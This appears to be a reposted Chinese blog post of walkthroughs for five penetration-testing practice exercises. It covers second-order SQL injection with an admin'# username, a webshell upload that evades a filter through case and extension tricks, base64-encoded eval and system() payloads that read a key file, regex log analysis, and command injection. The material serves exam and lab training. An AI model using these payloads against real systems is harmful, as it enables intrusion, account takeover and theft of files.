pte练习题(34021-34025)

pte练习题(34021-34025),第1张

pte练习题(34021-34025) 一、34021(二阶sql注入)

1、测试:

(1)用正常用户名密码注册,成功,无漏洞,修改密码,成功

(2)用特殊字符注册,成功,无漏洞,修改密码,不成功,存在sql漏洞。说明前期注册的用户名会影响后面密码修改部分的数据:

        数据插入语句:

        insert xxx value (username,password) //无漏洞

        重置密码:

        updata xxx value (新密码) where username=()//有漏洞

        // 重置密码页面没有出现重新输入username的选项,说明此时的username是引用前面的特殊字符username,说明在updata这条语句中存在sql注入漏洞

        // 二阶sql注入漏洞无法使用sqlmap

(3)尝试一下单引号闭合:注册一个新用户admin'#,然后重置密码;

        admin'#用户被注册,随便在#后面加字符再注册:

        进入重置密码:

        重置成功,说明用户名中的单引号成功将updata语句闭合,#后面的内容被注释掉,那么其实重置的密码就是admin的密码,尝试登录:

        

        成功拿到key1 

二、34022(文件上传突破)

        和34012几乎一样

1、尝试上传各种类型文件,发现.jpg可以上传,但包含一句话木马的.jpg无法上传,burpsuite抓包,发送给repeater找出被注释的关键字,想办法绕过:

        eval被注释,大小写绕过,后缀改为php3,上传成功:

2、访问,antsword连接

三、34023(文件包含)

1、查看view.html页面源代码:

        好像也和之前一样;

        base64内容转义过来是:[@eval(base64_decode($_POST[z0]));]

        也就是输入有Hello和z0,就将z0的内容通过base64转义之后输出。

2、输入Hello=x&z0=system('ls');

        转义后:Hello=x&z0=c3lzdGVtKCdscycpOw==

        

        

        没看到key,返回上一级命令查看:

        Hello=x&z0=system('ls ../');

        转义:

        Hello=x&z0=c3lzdGVtKCdscyAuLi8nKTs=

 

        发现key,查看:

        Hello=x&z0=system('cat ../key.php');

3、查看源代码获取key:

四、34024(日志分析)

1、下载日志文件,用notepad打开

2、查找->正则表达式

3、因为题目中说服务器已经被入侵,那说明入侵成功了,因此404可以忽略,查找200的就可以了;

".*(hack|back|admin|shell).*.php.*" 200

        .*代表任意字符,一般入侵文件是php文件,因此html、js等文件类型可以忽略,黑客部分关键字一般涉及hack、back、admin等,进行匹配查找,关键词后面可能有其他内容,加上.*,php文件后面可能还有内容,因此跟上.*(200前面别忘了空格) 

        查找结果如下:

        一次匹配成功,查看:

4、返回题目中搜索该url查看:

 

        成功拿到key

五、34025(验证主机是否存活)

1、查看目录文件

2、查看上层目录文件,发现key.php

3、获取key.php,分别用cat、grep、大小写绕过尝试,grep成功:

 

 4、查看源代码,拿到key:

 

 

 

 

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zaji/5721650.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-12-18
下一篇 2022-12-18

发表评论

登录后才能评论

评论列表(0条)

保存